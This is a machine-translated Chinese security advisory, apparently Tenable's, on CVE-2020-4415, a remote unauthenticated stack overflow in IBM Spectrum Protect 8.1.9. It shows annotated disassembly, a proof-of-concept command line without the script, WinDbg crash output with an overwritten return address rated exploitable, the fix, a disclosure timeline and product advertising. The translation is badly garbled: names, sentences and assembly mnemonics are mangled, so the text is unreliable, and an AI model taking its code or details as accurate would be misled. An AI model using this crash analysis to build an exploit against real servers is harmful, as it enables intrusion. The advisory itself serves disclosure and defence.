脸书 Google+ 微博 LinkedIn YouTube系统 RSS系统 菜单类 搜索 资源-博客 资源-Webinar 资源-报表 资源-事件 图标#066 图标_067 图标_068 图标_069 图标070

IBM频谱保护 Verb134非认证远程栈溢出

临界点

简表

可租方发现IBM频谱保护8.1.9中非认证远程栈缓冲溢出漏洞smIsvalidVerbEx函数

下片段用注解显示脆弱度:

.text.00800996D33 movdx,sp+0B8h+filespace攻击者控制数据.text:00000180996D38liarcx固定尺寸buf栈.text.00800996D3D movr8Rax攻击者控制副本大小->栈溢出.text.00800996D40调用mcpy_0

概念证明

ibm_spectrum_protect_verb_134_stack_overflow_CVE-2020-4415.py

附加式为终止dsmsvc.exePoC可用如下方式:

python ibm_spectrum_protect_verb_134_stack_overflow_CVE-2020-4415.py -t
              
               P1500
              

smsvc.exe崩溃显示Windbg和Windbg可开发扩展显示易开发性

0:407>g(1f0.2010):安全检查故障或栈缓冲溢出-代码c000409second chance !!!) rax=0000000000000001 rbx=0000000000000000 rcx=0000000000000002 rdx=0000000000000003 rsi=0000028096541400 rdi=00000280978e3b70 rip=00007ffb1bd269dc rsp=000000b6ec4fe6c0 rbp=0000000000000000  r8=00000280bbc8ae20  r9=0000000000000022 r10=0000000000000022 r11=000000000000021e r12=0000000000000100 r13=00000280978e3b7f r14=0000000000000001 r15=4141414141414141 iopl=0         nv up ei pl nz na pe nc cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202 adsmdll!_report_gsfailure+0x1c: 00007ffb`1bd269dc cd29            int     29h 0:407> k 10  # Child-SP          RetAddr           Call Site 00 000000b6`ec4fe6c0 00007ffb`1b9d4d48 adsmdll!_report_gsfailure+0x1c 01 000000b6`ec4fe700 41414141`41414141 adsmdll!SmIsValidVerbEx+0x164a8 02 000000b6`ec4fe7c0 41414141`41414141 0x41414141`41414141 03 000000b6`ec4fe7c8 41414141`41414141 0x41414141`41414141 04 000000b6`ec4fe7d0 41414141`41414141 0x41414141`41414141 05 000000b6`ec4fe7d8 41414141`41414141 0x41414141`41414141 06 000000b6`ec4fe7e0 41414141`41414141 0x41414141`41414141 07 000000b6`ec4fe7e8 41414141`41414141 0x41414141`41414141 08 000000b6`ec4fe7f0 41414141`41414141 0x41414141`41414141 09 000000b6`ec4fe7f8 41414141`41414141 0x41414141`41414141 0a 000000b6`ec4fe800 41414141`41414141 0x41414141`41414141 0b 000000b6`ec4fe808 41414141`41414141 0x41414141`41414141 0c 000000b6`ec4fe810 41414141`41414141 0x41414141`41414141 0d 000000b6`ec4fe818 41414141`41414141 0x41414141`41414141 0e 000000b6`ec4fe820 41414141`41414141 0x41414141`41414141 0f 000000b6`ec4fe828 41414141`41414141 0x41414141`41414141 0:407> .load msec.dll 0:407> !exploitable  !exploitable 1.6.0.0 Exploitability Classification: EXPLOITABLE Recommended Bug Title: Exploitable - Stack Buffer Overrun (/GS Exception) starting at adsmdll!_report_gsfailure+0x000000000000001c (Hash=0xbdd8d674.0x7e87e5be)  An overrun of a protected stack buffer has been detected.视之为可开发性,必须固定0:407> lm vm adsmdll Browse full module list start             end                 module name 00007ffb`1b030000 00007ffb`1e61b000   adsmdll    (pdb symbols)          C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\sym\adsmdll.pdb\AA09604A60F044BA8E25393F5CD6681E3\adsmdll.pdb     Loaded symbol image file: C:\PROGRA~1\Tivoli\TSM\Server\adsmdll.dll     Image path: C:\PROGRA~1\Tivoli\TSM\Server\adsmdll.dll     Image name: adsmdll.dll     Browse all global symbols  functions  data     Timestamp:        Fri Dec 20 13:00:35 2019 (5DFD0C43)     CheckSum:         034ABF92     ImageSize:        035EB000     File version:     8.1.9.19354     Product version:  8.1.9.19354     File flags:       0 (Mask 3F)     File OS:          40000 NT Base     File type:        2.0 Dll     File date:        00000000.00000000     Translations:     0409.04b0     Information from resource tables:         CompanyName:      IBM Corporation         ProductName:      IBM Spectrum Protect         InternalName:     ADSMDLL.DLL         OriginalFilename: ADSMDLL.DLL         ProductVersion:   88         FileVersion:      88         PrivateBuild:     88         SpecialBuild:     88         FileDescription:  IBM Spectrum Protect Server Main DLL         LegalCopyright:   Copyright © 1996, 2019 IBM         LegalTrademarks:  Copyright © 1996, 2019 IBM         Comments:         Version:88

求解

升级至7.11.100或8.1.9.300

披露时间线

03/09/2020-漏洞发现
03/12/2020-可租房Hackerone和IBM技术支援报告易失信
03/17/2020-报告易受CERT/CCVRF#20-03-NXLCC跟踪
03/17/2020-CERT自动回复
03/25/2020-CERT通知我们,他们转发了IBM报告,目标是IBM直接响应我们
03/25/2020-可接受感恩CERT
03/25/2020-CERT请求Tenable解释HackerOne/IBM披露协议问题
03/25/2020-备忘点指出协议与Tenable披露策略冲突
03/30/2020-CERT询问能否向IBM传递消息
03/30/2020-可租词
04/07/2020-CERT询问协议更新版是否可以接受
04/07/2020-可租量表示不并重写冲突
04/21/2020-可耐性请求更新
04/21/2020-CERT自IBMACK
04/22/2020-可接受感恩CERT更新
04/22/2020-CERT通知TenableIBM披露
04/22/2020-可接受感恩CERT

TRA建议内所有信息均提供“原封不动”,不提供任何保理,包括隐含可交易性和适切性保证用于特定目的,不保证完整性、准确性或及时性个人和组织负责评估实际或潜在安全漏洞的影响

可租制非常严肃地对待产品安全if you believe你发现我们产品中的脆弱点, 我们请求你与我们合作 快速解决它以保护客户可点信快速响应报告,与研究人员保持通信并快速提供解决方案

关于提交脆弱资料的更多细节,请见我们漏洞报告指南页码

如有问题或更正,请发邮件[email protected]

风险信息

CVE识别码 CVE-2020-4415
可租咨询ID
TRA-2020-26
sv2基础/时间评分
10.0/7.8
sv2向量
(AV:N/AC:L/Au:N/C:C/I:C/A:C)
附加关键字
VU#24022
受影响产品
IBM频谱保护服务器
频谱保护服务器7.1.0-7.1.10.0
风险因子
临界点

可耐受脆弱性管理

前称Tenable.io


完全访问现代云型脆弱管理平台,使你能够以不匹配精度看到并跟踪所有资产

可租易容性管理实验中也包括可租可租Lumin、可租WebApp扫描和可租云安全

可耐受脆弱性管理

前称Tenable.io

完全访问现代云型脆弱管理平台,使你能够以不匹配精度看到并跟踪所有资产购买你年度订阅今天

65码资产类

选择订阅选项 :

立即购买

试可穿Nessus专业免费

免费7天

TenableNessus是当今市场最全面的脆弱感扫描器

New-Nessus专家
现可用

奈苏斯专家增加更多特征,包括外部攻击表面扫描能力以及添加域和扫描云基础设施能力点击这里尝试Nessus专家

填表后继续使用NessusPro测试

可买Nessus专业

TenableNessus是当今市场最全面的脆弱感扫描器可租Nessus专业程序帮助脆弱性扫描自动化,在守法周期中省时并允许你加入IT团队

购买多年度许可证并保存添加高级支持访问电话、社区聊天支持全天365天全天24小时

选择您的许可

购买多年度许可证并保存

添加支持培训

tenable.io

完全访问现代云型脆弱管理平台,使你能够以不匹配精度看到并跟踪所有资产

可租易容性管理实验中也包括可租可租Lumin、可租WebApp扫描和可租云安全

tenable.io 付费

完全访问现代云型脆弱管理平台,使你能够以不匹配精度看到并跟踪所有资产购买你年度订阅今天

65码资产类

选择订阅选项 :

立即购买

可租WebApp扫描试

前称Tenable.ioWeb应用扫描

完全存取最新网络应用扫描服务 设计现代应用安全扫描全在线组合漏洞高精度而不人工重创或干扰关键网络应用现在就签名

可租WebApp扫描实验中也包括可租易用性管理、可租可租鲁明和可租云安全

可租WebApp扫描

前称Tenable.ioWeb应用扫描

完全访问现代云型脆弱管理平台,使你能够以不匹配精度看到并跟踪所有资产购买你年度订阅今天

5 FQDNs

3 578美元

立即购买

试可腾鲁明

可视化并探索接触管理,跟踪随时间推移降低风险,并参照Tenablelumin对等基准

可点Lumin测试中也包括可点易点管理、可点WebApp扫描和可点云安全

可买路明

联系销售代表,看可租Lumin如何帮助你在整个组织中获取洞察力并管理网络风险

试可耐云安全

前称可租.cs

完全无障碍检测并修复云基础设施误配置并观察运行时漏洞注册免费测试了解更多试验过程点击这里

可租云安全测试中也包括可租易用性管理、可租可租鲁明和可租WebApp扫描

联系人a购买可租云安全

联系销售代表了解更多可耐云安全知识,并观察多易登录云账号并在分钟内为云误配置和漏洞获取可见度

试可耐奈苏斯专家免费

免费7天

内苏斯专家为现代攻击面搭建,使你能够看到更多并保护组织从IT到云的漏洞

已经有TenableNessus专业
升级Nessus专家免费7天

买可租Nessus专家

内苏斯专家为现代攻击面搭建,使你能够看到更多并保护组织从IT到云的漏洞

选择您的许可

购买多年度许可证并存更多

添加支持培训

试Nessus免费专家

免费7天

内苏斯专家为现代攻击面搭建,使你能够看到更多并保护组织从IT到云的漏洞

内索斯职业类
升级Nessus专家免费7天

买可租Nessus专家

内苏斯专家为现代攻击面搭建,使你能够看到更多并保护组织从IT到云的漏洞

选择您的许可

购买多年度许可证并存更多

添加支持培训

Baidu
map